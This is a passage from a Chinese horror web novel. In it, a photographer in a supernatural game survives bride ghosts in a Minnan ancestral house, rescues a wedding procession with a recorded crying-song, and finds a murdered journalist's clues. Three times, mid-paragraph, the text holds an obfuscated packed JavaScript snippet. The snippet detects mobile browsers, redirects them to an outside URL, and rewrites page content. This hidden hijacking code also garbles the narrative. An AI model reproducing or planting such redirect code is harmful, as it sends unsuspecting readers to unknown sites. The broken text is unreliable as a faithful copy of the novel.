齐檎丹被逼到生死一线,却施施然举起相机,忙中拍照。接连不断的闪光灯与急促的快门声,将血腥味催发出的暴戾因子,激发得愈加躁动。新娘鬼们肉眼可见地变得狂暴,移动的速度和凶猛的程度,直接上了一个台阶。 恰在鬼爪即将抓住齐檎丹,往嘴里送的刹那,齐檎丹猛然往后一跳。 双脚同时落在“院落”门外。 这一跳的作用,实在微乎其微。人的弹跳力是有限的,齐檎丹就算出了“院落”,也依旧是新娘鬼一伸手就能够到的距离。 那些新娘鬼于是齐齐冲来,企图越门抓人。 她们撕碎了还没来得及关上的门板,狞笑着往门口挤,对齐檎丹血管里流淌的新鲜血液势在必得。 一双双布满尸斑的胳膊,争先恐后地向前延伸,尖锐如鹰爪的长指甲,几乎勾到齐檎丹的衣领—— “咚!”令人牙酸的巨响陡然响起。 响亮得令鬼猝不及防。 新娘鬼们的头,在门洞中狠狠地撞到一起,一个个疼得咧嘴龇牙。 这扇门就算再宽再大,也容不下这么多的新娘鬼同时经过。尤其新娘鬼们每一个都在奋力向前,她们头挨着头,肩怼着肩,顿时把窄长的门洞塞得水泄不通。 要想结束门里鬼挤鬼的状态,必须要有鬼主动退出战局。而以新娘鬼对血液的强烈渴望,放弃对她们中的任何一个来说,都绝对无比艰难。 从她们塞住到脱困,至少需要好几分钟。这几分钟,是齐檎丹最好的逃跑时机。 就是现在! 齐檎丹对着挤得像沙丁鱼罐头的门洞,最后按下了一次相机快门,随即迅速转身,撒腿狂奔。 齐檎丹逃跑的目的地格外明确—— 她暂住的房间。 房间门上挂着的那幅“八仙彩”,是时候展现它驱邪避祸的效用了。 7. 古厝诡婚7 不得不说,那幅“八仙彩”着实好用。即便已经如此破烂,威力依旧不减。 齐檎丹飞奔回房间以后,“啪”地把房门一关,门栓一拉,便躲在“八仙彩”后面,好整以暇地给自己泡了壶茶,一边侧耳倾听着外边的动静,一边慢悠悠地举杯呷茶。把聚集在门外的一众新娘鬼,气得牙都快咬碎。 新娘鬼不敢进门,只能在外面久久徘徊。愤怒的低吼持续了许久,她们才悻悻离去。 【您已被新娘鬼记恨。有新娘鬼在的情况下,您将被优先被攻击。】 齐檎丹面不改色地划掉了系统提示。 区区仇恨值,谁怕? 新娘鬼要是敢主动露面,她就敢让鬼给她当模特。这种非要送上门来的免费模特,齐檎丹感谢还来不及呢。 门外的新娘鬼走了,危险也解除了,齐檎丹抿了口茶水,开始看相机里拍到的照片。因为这些鬼新娘的速度实在太快,她这次拍摄的张数不多,最出彩的,也只有最后在月洞门外拍的那张。 这张照片,在新娘鬼们鬼生最想删除的照片当中,绝对能排得上号。 但视觉冲击力是真的强。 院门轮廓窄长,一颗颗新娘鬼的头颅塞满其间,细瘦的长胳膊呈辐射状向外延伸。除了背景的纯黑以外,照片里仅有两种颜色——红的是嫁衣与红唇,红得惊魂摄魄。白的是皮肤与利齿,白得触目惊心。 红白的配色加上这个画面,好似相片中央,凸起一颗长满触肢的畸形肉瘤。 巨大,恐怖。 而又有些荒诞可笑。 【恭喜获得S级照片“群鬼的围猎”,已复刻鬼怪实力100%,使用时将照片抛出即可。】 “啧,还是S级?没意思。”齐檎丹顿感乏味。 然而,这种乏味很快就消失了。因为齐檎丹发现,照片评级上显示的“S”后面,居然还有预留出来的一部分空位。难道在照片的评级里,S级并不是最高级别?还有更高的评级? 连S级的照片,都已经能够百分百复刻鬼怪技能了,更高级别的照片,岂不是能发挥出比鬼怪本身还强大的力量。 齐檎丹眼眸发亮。 她捂住心口,忍不住为之心动。 不仅回报丰厚,实用性强,还能够用评级具象体现出照片水平,在一次次拍摄中挑战自身能力。像齐檎丹这样爱拍摄的人,根本经受不住这种诱.惑。 不过,在下一次拍摄之前,齐檎丹得先搞清楚一个问题。 为什么她这两张照片,都只是S级? 齐檎丹冥思苦想。 照片的氛围感明明足够了呀,画面构图也是漂亮的,传达出的紧张刺激的情绪也很充足。这两张照片,究竟还差什么? 难道,差的是……故事感? 齐檎丹摸着相机,垂眸沉吟。这是她唯一能想到的原因。 齐檎丹打开考察系统的面板,视线落在仅为10%的剧情解锁进度上。结合系统平实普通,但紧扣副本内容的照片命名风格来看,也许这些照片的质量,确实与副本剧情相关。 而齐檎丹作为摄影师,也确实需要通过不断推进剧情,来理解拍摄对象。 看来,她得尽快把剧情推理出来。 今晚刚拾到的神像碎片上,可供分析的线索太少,齐檎丹不得不再次从照片上入手。 照片上,新娘鬼穿着的嫁衣各有不同,分别是她们所处的时代里,最流行的婚服。这些服饰相隔的时间跨度,足足差了上百年,因此参与谋害这些女子的,绝对不止陈氏的现任族长一个。齐檎丹思索了一会儿,又凭印象画出了血衣女鬼的服饰。 血衣女鬼的服装,是所有已露面的鬼中年代最久远的。可见在她之后,才有了新娘被献祭而死,化成厉鬼的事情。 从血衣女鬼死亡,到后来杀新娘献祭,中间的经过必然十分关键。 而且,血衣女鬼今夜的举止也极怪。 血衣女鬼为什么要引她,到新娘鬼的聚集处?莫非,血衣女鬼不需要血,却知道新娘鬼需要,特地引她这个血包过去,送血给新娘鬼? 可如果是这样,血衣女鬼将她引到那里后,又为什么要消失呢? 女鬼在躲新娘鬼吗? 血衣女鬼最早死去,身上的束缚也最重,最受陈家人忌惮。按理说,她的实力应该是高于新娘鬼的,她为什么要躲呢?不应该是新娘鬼躲女鬼才对吗? 如果与实力无关,女鬼躲避新娘鬼,难不成是出于情感上的原因? 因为愧疚?因为觉得对不起? 齐檎丹察觉到,这些新娘鬼和血衣女鬼之间,可能缠绕着千丝万缕的瓜葛。她忽然想起血衣女鬼身上浸透的鲜血,以及大量失血的新娘鬼,一个大胆的猜想,逐渐出现在她脑海。 有没有可能,血衣女鬼身上的这些血,就来源于新娘鬼? 【恭喜您再次解锁剧情!奖励积分+100】 【当前剧情解锁进度:20%】 突如其来的剧情解锁提示,肯定了齐檎丹的推测。直播界面上,庆贺的礼花噼里啪啦炸开,齐檎丹的眉心却骤地蹙紧。 女鬼,竟是陈家人取血供奉的“神”?! 但哪有神是这副模样?! 凡是世间信徒,无不对自身敬仰的神毕恭毕敬,怎么会使神明身缚铁链,模样凄惨? 齐檎丹沉下杏眼,对血衣女鬼的惨状记忆犹新。退一万步讲,如果这个古厝里敬奉的“神”,真的是那个血衣女鬼,那齐檎丹此刻拿在手上的这个碎片,很可能正是神像的碎片之一。 有碎片,就意味着有破碎的神像。是陈家这些信徒中,有人敢打砸神像吗? 那可是大不敬! 在古厝里不到一晚的经历,已经让一切变得扑朔迷离。 齐檎丹现下最能确定的,是古厝里至少有新娘鬼和血衣女鬼,这两类差异颇大的鬼怪势力。 至于,住在这里的陈家人…… 他们是这副本里最复杂,最心怀叵测的对象,也是明天的迎娶仪式里,齐檎丹即将被迫直面的关键人物。 . 感谢从鬼身上薅来的剧情解锁度,用200积分延长的生命剩余值,齐檎丹安安心心地睡了一觉。 醒来后,生命剩余值差不多消耗殆尽,但“在古厝里度过一晚”的任务也大获成功。齐檎丹先将完成任务所获得的积分,全数收入囊中,续上了生命剩余值。 之后,她才不紧不慢地踩着陈老师通知的集合时间,来到古厝门口。 考察员的第二个任务已经发布下来,内容是考察闽南婚俗里的迎娶环节,帮助陈家人完成迎亲。 这个时间,已有很多人在集合点等候。 可这些人的脸色大多非常难看,写满了惶恐不安。 从富婆姐姐梁安颜口中,齐檎丹打听到了原因:“我们这些住得接近的考察员里,有一个人的专属技能和视觉有关,可以看到几小时前发生的画面。他看到,早在集合时间前的两小时,陈家的迎亲队伍就已经离开这座古厝了。” 陈老师给的集合时间,是错的。 按照这个时间出发,他们根本无法考察到迎娶的全过程。 “这就是陈老师想要的结果。”齐檎丹耸了下肩,“别忘了,他们选定的新娘是我,陈家人在副本里可找不到一个可以接新娘的娘家。因为没有,他们只能故意让我们‘错过’一部分婚俗内容。” 这些都是被早早计划好的。考察团不管再怎么紧赶慢赶,遇到的,也必定是陈家人接完新娘后往回走的队伍。 接到新娘是假,演戏给他们看才是真。 陈家人这么做是为了隐瞒真相,任务里也没有强调迎娶环节要全程考察,所以齐檎丹猜测,即便考察里缺失了这一部分,大概率也不会被惩罚。 梁大小姐略微松了口气,眉间的忧虑却并未消失。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831149|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有另一个原因。 “还有一件事情。你有没有发现,我们来这个地方这么久了,却从来没有见到过一个女人?” 说到这里,梁安颜停顿了一下:“不仅这个古厝里没有女人,在这个陈家村里,我至今也没见过任何一个女性。那个看到迎亲队伍走的考察员告诉我们,就连这支迎亲队伍里,本该找年长女性充当的‘送嫁姆’,都是由男人扮成的。这很不寻常。” 她的嗓音压得很低,稍不注意,便被喧天的爆竹声盖了过去。一丝压不住的凉意,却从齐檎丹耳道里悄然钻进。 冷得锥心。 古厝正逢喜事,艳丽的绸花处处妆点,象征婚礼嫁娶的“囍”字,红得醒目。在热闹喜庆的婚庆氛围里,齐檎丹举目四顾,发现脸上堆满笑意是男人,乐呵呵地到处奔走的,同样只有男人…… 女人在这个古厝里,好像凭空蒸发了。 一点踪影都没有留下。 与之相反的是,古厝的鬼怪亡魂里,却没有一个是男性。 那些死状惨烈的女鬼,都曾经踏进过陈家的大门。这一步踏进去,她们就再也没命出来。 这是一座吃女人不吐骨头的大厝。 这些女人,是怎么样从人变鬼的?她们都经历了些什么? 齐檎丹大概清楚,她今天要面对怎样艰难的挑战了。那些嫁进陈家的新娘的遭遇,她不仅要经历,还需要破开这死局,为自己撕出一条生路。 这件前前后后数十个新娘,都没有做到的事情,齐檎丹必须做到。 否则,她就会像那些无辜的新娘一样。 流干鲜血,命丧婚礼。 考虑到此次的凶险程度,齐檎丹提前从系统背包中取出照片,藏进防晒外套的口袋里,贴身揣着。等陈老师带他们追上接亲队伍时,那两张照片已经被她的手掌心,捂得微微发烫。 由于整场婚礼,采取的是最传统的闽南形式,迎亲也不例外。 整支迎亲队伍分为四部分。前头是提新娘灯和添丁红灯的,往后是敲锣打鼓的乐队,四人抬的花轿位于最中间,被一大群人簇拥着,抬嫁妆的人则跟在最后。 这队列里,少说也有几十上百号人,远远观去,犹如长龙一般。 好不浩浩荡荡。 至于这场婚礼的新郎,他贵为族长,没肯纡尊降贵亲自来接新娘。 陈老师带着考察团,跟在陈家的迎亲队伍旁,边走,边给他们讲解婚俗:“同学们可以看到,迎亲队伍里最显眼的除了花轿,就是这个装着猪脚的竹篮。这个猪脚叫‘轿前猪脚’,大概有二十斤重,关节上绑着红绳……” 他还没讲解完,整支迎亲队伍猝地停住。 花轿被放下,锣鼓声与鞭炮声也戛然而止。陈老师脚下一个踉跄,差点撞到那个肥大的猪脚上。 离得最近的考察员急忙赶去,他扶住陈老师,又看向突然停止前行的迎亲队列,用言语催促:“怎么不走了啊?” 他不看不知道,一看,顿觉心里发毛。 迎亲队伍动起来的时候还没那么明显,此时此刻,大红的轿子直愣愣地戳在半道上,被夹在僵硬呆滞的迎亲队伍中间,一股不和谐的诡异气氛,油然而生。 “不吉利。”轿夫皮笑肉不笑地盯着他,冷冷重复,“这个新娘不吉利。” “哪里不吉利?”考察员问得小心翼翼。 他的姿态已经放得很低,声音也小,但整支迎亲队伍里的人,仍旧全部朝他看了过来。 不晓得是否是陈家遗传基因所致,这群来自陈家村里的人,黑眼珠全都很大,几乎占据了整个眼眶。这样毫无笑意地盯着人看时,如同木偶,从瞳孔里透出极强烈的非人感。 考察员浑身一哆嗦,不由得感到一阵恶寒。 轿夫就在这时开了口。他阴沉着老脸指了指轿子,粗哑的声音毫无起伏: “这个新娘,她不哭。” 8. 古厝诡婚8 新娘子不哭,就是不吉利? 梁安颜对这方面的知识储备很丰富,考察团中,她最先反应过来。 “闽南有哭嫁的传统,还要唱哭嫁歌。古时候盲婚哑嫁,而且嫁出去后便成了别家的人,新娘可以借着哭嫁,宣泄买卖婚姻的痛苦。后来,哭嫁也被视作衡量新娘才智的方式。”梁安颜介绍说: “有一种说法,是新娘哭了才会好命。她哭得越真,哭嫁歌唱得越动听,才会越受到欢迎。” 这也就意味着,花轿里的新娘不哭的话,婚礼便无法进行下去。 但,花轿里根本没新娘。 一个没人的空轿子,又怎可能发出哭声? “婚礼要是不能继续进行,我们就完不成主线任务,离不开副本。”梁安颜眼瞳里神色微沉。如果事实无法改变,他们就只能转换角度,试图让迎亲队伍改变想法。 可偏偏陈家家大业大,不缺钱,只缺一个要被献祭的新娘。梁安颜引以为傲的财富,在陈家人眼里,连粪土都不如。 她没有办法以金钱贿赂。 更没办法无中生有地,在轿子里变出一个会哭的新娘。 现在最优的解法,无非是将齐檎丹这个真新娘送进轿中,让她哭嫁,以对她的牺牲,换取婚礼的进展。可无论是和齐檎丹的结盟关系,还是梁安颜未泯的良心,都让她无论如何,都做不出这种出卖队友的事情来。 知道齐檎丹才是新娘的,除了陈家人之外,就只剩下她和齐檎丹这个当事人。陈家人不愿意揭穿他们的骗局,因此即便再清楚,也不会主动开口。只要她梁安颜忍住不说,齐檎丹就不会被牺牲掉。 然而这样做,齐檎丹是保住了,婚俗的考察怎么办?要是考察不成功,任务完不成,他们依然会死。 而且是团灭。 梁安颜禁不住闭了闭眼。 等等,再等等。也许还会有其他办法的,齐檎丹既然敢故意招惹NPC,去拿高危身份,一定有自己的应对措施,她应该相信齐檎丹这个盟友,绝不能自乱阵脚。 契约精神是生意场上的金科玉律。 除非到了实在万不得已的地步,梁安颜不会考虑出卖盟友。 就在梁安颜绞尽脑汁,帮助齐檎丹拖延时间的时候,迎亲的陈家人的耐心,却已然快要熬干了。 送嫁姆最先沉不住气了。 “两任夫人的前车之鉴还在眼前呢,族长别再像之前那样,娶错不贤良的新娘。”送嫁姆捏着尖细的嗓子,扭着腰胯,意有所指地把手指点在花轿上: “村里谁不知道,这两人的丑闻啊。第一任夫人妒忌心重,死后也扰乱家宅。第二任夫人与第一任夫人虽是故交,却是个不守妇道的狐媚子。第一任夫人死后,要不是她不顾这份友情,对族长极尽勾引挑逗之能,想方设法嫁进来,也不会激发第一任的妒忌,让第一任化作厉鬼杀了她,扰得家宅不宁……” “说得是。新娘不哭嫁,婚礼不吉利。”轿夫斜睨着花轿,冷冷地拖长了音调。他声线嘶哑,带着愠怒磨出的粗粝质感,在幽深的林间小道上荡开,转瞬间风声乍起,飞沙走石。 迎亲队伍里,越来越多的声音接连响起,加入了这场对新娘的讨伐: “不哭嫁,不吉利!” 这群人怒目瞪视花轿,一遍遍重复。 声音汇集,掀起越来越大的声浪。每重复一遍,咆哮的阴风便更歇斯底里三分。花轿垂下的长条流苏,被吹得乱舞,猩红好似血泪。 乌云从四面八方狂涌而至,方才还刺眼炙热的太阳被云层遮蔽,暗无天日。 强大的压迫感轰然袭来。 转眼间,几个承受不住压力的考察员,已经“扑通”一声跪倒下去,膝盖发软,匍匐在地上瑟瑟发抖。 迎亲队伍中,有不少人都是陈家古厝里的人,是新娘真实人选的知情人士。所以他们的盛怒,看似是对新娘,实际上是冲着考察团而来。 他们的频频发难,意在逼迫考察团,牺牲齐檎丹。 梁安颜心乱如麻。 身边考察员们议论纷纷,已经有人发现花轿是空的,有人在猜测新娘的真实身份。梁安颜不清楚,自己还能够将这个秘密保守多久。 齐檎丹非牺牲不可吗? 难道,已经没有别的办法了吗? . 副本之外,有一个人甚至比梁安颜本人还要焦虑。 这人名叫龙骁,正是梁安颜被拉进副本前的固定队友之一。龙骁头戴红色棒球帽,上身是黑T恤叠穿红短袖外套的红黑撞色,脖子上挂着条金属链,嘴里还斜叼着一根棒棒糖的糖棍,看起来痞里痞气,拽得没边。 然而,与外表上那股混不吝的酷感相反,龙骁此人性格热烈火爆,极重情重义。遇到危险的是梁安颜,他却急得满身大汗。 穿在里层的黑色T恤惨被浸透。 湿哒哒地黏在身上。 此时此刻,龙骁正通过梁安颜的直播间,密切关注着副本里的状况。他边看,边忍不住自我谴责:“这个副本太危险了,我本应该跟她一起进去的。要不是我那时候临时有事,没来得及用组队卡,我……唉……” 梁安颜心肠太软,狠不下心牺牲齐檎丹。如果他在,他不介意做这个坏人。 只要能换梁安颜活下去! 龙骁一刻不停地发送弹幕,手指头都快把键盘敲出火星,试图说服梁安颜在她的自身安危和齐檎丹之间做出取舍。可梁安颜还没被说动,有人却制止了他。 “没用的。就算牺牲了齐檎丹,也无济于事。”龙骁背后,一个声音冷冷传来: “牺牲她,只会让一切变得更糟。” 那人的嗓音极沉,极寒,刀锋冷刃一般锋利。言语间,直教人如堕冰窟。 “为什么?她不是新娘吗?不是牺牲了她嫁过去,其他人就能被放过了吗?”龙骁震惊而急切地追问。他猛然扭头,向身后那人看去。 那人的身形淹没在阴影里。 他竭尽全力,只看到一双深邃的眼睛。 “你以为,这是道简单的取舍题吗?”那人以一声冷笑,回应了龙骁的质疑: “在这种情况下,齐檎丹进花轿的方式只有一个,那就是在众目睽睽之下,走进轿子。这无异于向陈家人承认,考察团知道花轿中无人,知道陈氏族长那些欺骗人的把戏。” 向一伙歹徒坦言,自己对他们的把戏了如指掌,后果可想而知。 其他考察员倘若自以为是,硬逼齐檎丹入轿,即便能止住陈氏迎娶队伍的闹事,等待他们的却也仅有一个结果—— 被杀人,灭口。 进也是死,退也是死。 这才是真正进退两难的死局。 分析完暗藏的陷阱,那声音稍见停顿,语气和音色本身一样,毫无温度:“不过,也不必太过担心。事态还没发展到万不得已的地步。” “我怎么可能不担心?!梁安颜在这个副本里活下来的概率,只有不到30%!顾斩风,这个数据,可是你自己预测出来的。”龙骁现在就像个一点就炸的火药桶,火气直往上窜,含在嘴里的糖棍末端险些被他咬烂: “我们这几个人里面,就数梁安颜的技能在攻击时最不占优势,我就怕……” 龙骁的声音越说越低。 他本能地回避可能发生的悲剧。 梁安颜处在的这个固定队伍里,每个人性格差异极大。龙骁的脾气最火爆,却最是重情重义。 而被他称为顾斩风的这个人,则是最没有感情的:“梁安颜存活的概率,确实在30%上下浮动,这点我不否认。但因为这个数据,是依托我根据梁安颜的通关表现做成的模型,来计算得出的,所以只在她独自一人的情况下,才足够精准。” 从这番话语中,龙骁突然抓住了希望:“也就是说,如果梁安颜找到靠谱的队友,她的存活概率可以提高?” 顾斩风略微颔首:“她已经找到了。” “你说的,是梁安颜身边那个叫齐檎丹的?”龙骁差点没惊掉下巴:“不是……顾大佬,你没有搞错吧?我去她直播间看过了,她只是第一次进副本,让我们梁安颜带她还差不多。” “你如果第一次进副本,就进了困难副本,你能保证,你一定做得比她好吗?”顾斩风从黑暗里走出,淡淡瞥了龙骁一眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831150|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>龙骁想了想,气势一下子弱了下来:“不一定能……” “更何况,这个齐檎丹拿到的还是高危身份,现在迎亲队伍的威压,大部分都落在她的身上,但你看她现在的表现。” 顺着顾斩风的言语,龙骁好奇地朝齐檎丹的方向看去。 由于新娘的高危身份,齐檎丹承受的施压堪称残忍。这股来自迎亲队伍的恐怖力道,极大,极重,像是恨不能把她的五脏六腑活活碾碎。这才仅仅过去十几秒,齐檎丹唇角已隐隐溢出血色。 然而,她没有弯腰,更没有下跪。 那根脊梁骨就好像精铁锻造的一般,坚韧不屈,宁折不弯。 “在齐檎丹进入困难副本后,我原本预测,她作为新人的存活几率仅有3%,撑不过因新娘这个高危身份,而减少到10分钟的生命剩余值。”顾斩风道。 这是顾斩风第一次预测失误。 直到现在,齐檎丹依然完好无损地站在副本当中,简直能称得上一个奇迹。 一个值得他密切关注的奇迹。 . 齐檎丹觉得,她能够硬抗下迎亲队伍的压力,多少也能算是创造奇迹。 听不到新娘唱的哭嫁歌,陈家的迎亲队伍便还在闹个不停。齐檎丹把相机护在怀中,听到自己的骨骼,难以负荷地发出“咯嚓”轻响。她意识到,这样的局面必须尽快结束。 以她的身体,没办法支撑太久。 齐檎丹不动声色地擦去唇边的血迹,问梁安颜:“闽南的哭嫁歌一般唱的是什么?” “有骂媒人的,表达对婚姻不满的,还有离别父母的,”梁安颜话说一半,突然像意识到什么似的,猛地拉住了齐檎丹的手,“等等……你要做什么?别忘了,之前那些新娘都是什么下场?进轿子里唱哭嫁歌,那是自寻死路。” 齐檎丹看了一眼那顶花轿。 这四人抬的大轿子四四方方,大红底子上鎏金的装饰灿烂耀眼,窗子却小而紧闭。轿门上,甚至还交叉着贴了两张封条,贴得严严实实,密不透风。 像是关押新娘的囚笼,又像一口富贵奢丽的棺材。 任人看一眼都觉得窒息。 “放心,我没那么有牺牲精神,我还想在轿子外拍照呢。”齐檎丹在她的手上安抚性地拍了一拍,示意梁大小姐先松开手,“要想完成任务,等下还请大小姐帮我个忙。” “什么忙?”梁安颜问。 齐檎丹却没再透露:“按我说的做就好。” 她嗓音冷静,在乱成一锅粥的局势中,如同定海神针一般,让人有种无条件信服的魔力。 于是,梁安颜深吸一口气,花了半分钟时间,迅速做好了豁出大小姐形象的心理建设。随后,她突然面露惊恐,捂住嘴,面朝路边,发出了一声惊天动地的尖叫。 那惊叫穿透力极其强大。 响彻云霄。 连迎亲队伍不断重复的谴责声,都被这声尖叫给压了过去,被迫中止。 登时,齐檎丹周身的压力为之一轻。趁迎亲队伍被这声尖叫转移走了注意力,齐檎丹偷偷走到轿旁,将花轿窗子掀开一道小缝,将一个物品塞了进去。 按照计划,梁安颜适时地发出了第二声尖叫。高分贝的尖叫声,恰好盖住物品在轿内落下时闷响。 “怎么回事?”轿夫粗声粗气地发问。 他不耐烦地皱着眉头,大步走来,可查看了一圈,都没发现有什么异常。 唯有梁安颜指尖颤抖,指向前方可疑的黑色椭圆形物体:“有……有蟑螂,好恶心……” 那只是一片发黑的枯叶。 虽然一不小心容易看错,但也不至于这么离谱。 轿夫顿时觉得被人戏耍了。他太阳穴青筋暴突,刚瞪起瞳孔巨大的眼睛,要冲梁安颜发怒,身旁的轿内却传来了凄凄切切的哭声:“娘啊我不嫁,做人媳妇真受气,离父母,离兄别嫂,离小弟哎……” 呜呜咽咽的歌声夹杂着泣音,被夏风吹得飘散。考察团里,陆陆续续有人反应了过来,面露惊喜。 “是哭嫁歌吗?有人在唱哭嫁歌?” “太好了!我们有救了!” 9. 古厝诡婚9 一听到花轿中哀婉凄切的哭嫁声,迎亲队伍里的人非但没有同情,反倒喜笑颜开。 “金囡命囡你应嫁,苦工饲你大,红包钱银要来娶……”有人即刻捏起喉咙,模仿着新娘的母亲,高唱劝嫁歌。又尖又细的嗓音,将卖女换彩礼的事,唱得理所应当。新娘在哭嫁歌里哭求的不嫁,也被一句一句镇压了回去。 直到轿中彻底没了声响,轿夫们才欢天喜地般把轿子扛回肩头。 喜乐奏响,爆竹燃放。 唢呐与锣鼓等乐器在前开道,噼里啪啦的鞭炮紧随其后。热闹欢腾的声响,驱散了阴云,为迎亲的人铺开一条返回古厝的阳光大道。 一场风波,总算有惊无险地度过。连齐檎丹都没想到,梁大小姐居然一点形象包袱也没有,演戏配合她时那么能豁得出去。 而且,效果立竿见影。 梁安颜故意放慢脚步,落在队伍后头,问齐檎丹:“好了,现在能告诉我了吧?你往轿子里扔了什么东西?” “我拍花絮的手机。” 齐檎丹叹气:“穆青青攻击前唱了好一会儿,我拍花絮时录到了一段。问了你才知道,她唱的原来是哭嫁歌。” 摄影时,齐檎丹有拍花絮的习惯。这些花絮视频用处不少,有时被用来剪视频,经营齐檎丹在社交媒体上的摄影号,有时候也被齐檎丹送给拍写真的客人。 但,齐檎丹此前确实没想过,有朝一日,花絮还能这么用。 “我刚刚把花絮视频转成了音频,又设置定时播放和循环播放,才扔进了花轿里。”齐檎丹补充道,“按照我的设置,手机本该持续播放这段哭嫁歌,直到没电。”所以齐檎丹不明白,劝嫁歌是怎么让手机停下的。 迎亲队伍里的人,莫非不是常人? 但系统为何没有将这些人,判定为鬼怪呢? 齐檎丹咂了下嘴,感到略有些遗憾。要是把他们判定为鬼怪,这富有闽南民俗特色的迎亲场景,拍起来一定很震撼,少说也能换张S级的照片玩玩。 “说起来,你们遇到的新娘鬼,都没有唱哭嫁歌吗?”齐檎丹转变话题。 梁安颜摇头:“没有。不止我遇到的没唱,其他房间的新娘鬼也没唱哭嫁歌。我们住的地方面积不大,房间跟房间之间,只隔了一道墙。只要有鬼唱了,所有人都能听得到。” 唱了哭嫁歌的,只有穆青青一个新娘鬼。 她为什么是这个例外? 带着这个疑惑,齐檎丹从系统背包中,取出穆青青的记者证,想再检查一番。怎料,记者证一上手,便烫得她直皱眉头。 “嘶!怎么会这么烫?” 齐檎丹本能地倒吸了一口气。 她又碰了碰外套口袋,里面的穆青青新娘鬼照片,同样烫得惊人。而且越靠近花轿,记者证和照片散发的热度,就越发可怕,仿佛在警示她不要进入轿中。 联系上哭嫁歌里不断重复的“我不嫁”,齐檎丹突然意识到,化为新娘鬼的穆青青,虽然控制不了伤人饮血的本能,却一直在向她暗示嫁给陈氏族长的危险性。 由此可知—— 穆青青知道的事情,恐怕不少。 这跟穆青青记者的职业有关吗?她之所以随身携带记者证,是为了提醒自己调查什么吗? 齐檎丹右手搭在相机上,手指轻轻敲着机身:“穆青青是‘明知山有虎,偏向虎山行’啊。她既已知道古厝里的危险性,有没有可能是为了探查新娘死亡的事,特地嫁进来暗访的?” 从新娘遇害的跨度和数量来看,陈家的恶行已长达数十年之久,并且长期对这秘密守口如瓶。 她如果不冒险嫁给族长,真相根本无从查起。 “调查这件事,像是穆青青的执念。” 梁安颜同意:“许多志怪传说中都有一个说法,鬼怪由人的执念化成。人的执念,又会寄托在他们生前最在意的物品上面。副本里基本也是如此。你拿走记者证之后,新娘鬼穆青青就再没出现过,可见让她化身成鬼的执念,是寄托在这上面的。” 显然,穆青青生前极珍视记者证。 然而仅仅是视若珍宝,还不至于让她将记者证,藏得那么隐蔽。 “我总觉得,这本记者证里还有东西。”说干就干,齐檎丹立马打开这本记者证,动手翻动内页。记者证一共有四页,正当翻到第四页的时候,里面夹着的东西忽地掉了出来。 “唰——” 几张纸片飘落而出。 这些都是报纸上剪下来的报道,报道的内容,都与女子失踪相关。 “这几张脸,我有点眼熟。”齐檎丹凝眉,拿起昨夜刚给那群新娘鬼拍的照片,在照片上找到了失踪女子的面孔:“穆青青果然在调查这件事。” 她们的猜测得到了证实。 齐檎丹翻看得更加起劲:“再找找,里面肯定有其他东西。” “这个报道上,好像写了字。”梁安颜眼尖,指出了报纸上的一串数字:“11位数,像是电话号码。” 考虑到齐檎丹的手机,已经在花轿内光荣献身,拨打电话号码的任务,便光荣地落到了富婆姐姐梁安颜新换的手机上。说来也怪,副本里分明没有信号,电话却成功拨通了,大概是某种特殊的副本设定。 “喂,穆记者?你暗访得怎么样了?” 听筒里,传来陌生的声音: “我就说,陈家村的族长没什么问题嘛,你还非要嫁进去探个究竟。现在好了,结婚容易离婚难啊,你不如就好好跟人家过日子……” “穆青青死了。”齐檎丹冷声打断。 惨烈的死讯,一如陨石。 当头砸下。 登时,把电话对面那个中年男人,砸得浑浑噩噩,头脑发蒙:“怎么……怎么会这样?” “穆青青死得很惨,被打断了手脚,流干了全身鲜血。她唯一能给我们留下的线索,就是你的号码。”齐檎丹拔高声调,语速逐渐加快:“你知道穆青青的计划,对吗?正是这个计划,正是她嫁进的陈家,害死了她!” 齐檎丹步步紧逼,话锋凌厉如刀。 电话另一端,刚被熟人的死震惊的男人,在她的逼问之下,毫无半点招架之力。挣扎一段时间后,中年男人向他们说了穆青青死亡之前的经过。 “我是被穆青青请来,扮演她爸爸的演员。”男人说道,“大概半年前,穆青青在做一篇失踪人口的报道时,发现不断有女性失踪,而这些女性失踪前,都和陈家村里的人有过接触。她那时候刚成为记者两年,刚考下记者证,正是想做一番大事业的时候,所以她想了一个很大胆的计划……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831151|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈家村非常排外,穆青青几次尝试都以失败告终。 为了调查女性失踪的实情,穆青青决议“嫁”进村里暗访,她为自己造了假身份,找来演员扮成假身份家人,陪她演了一出嫁新娘的戏。 那日,穆青青涂上口红,换上嫁衣,最后一次将她的记者证揣进怀里。而后,带着她揭穿黑暗的信念—— 踏上了一条危机四伏的不归路。 接下来发生的事情,齐檎丹她们就都清楚了。 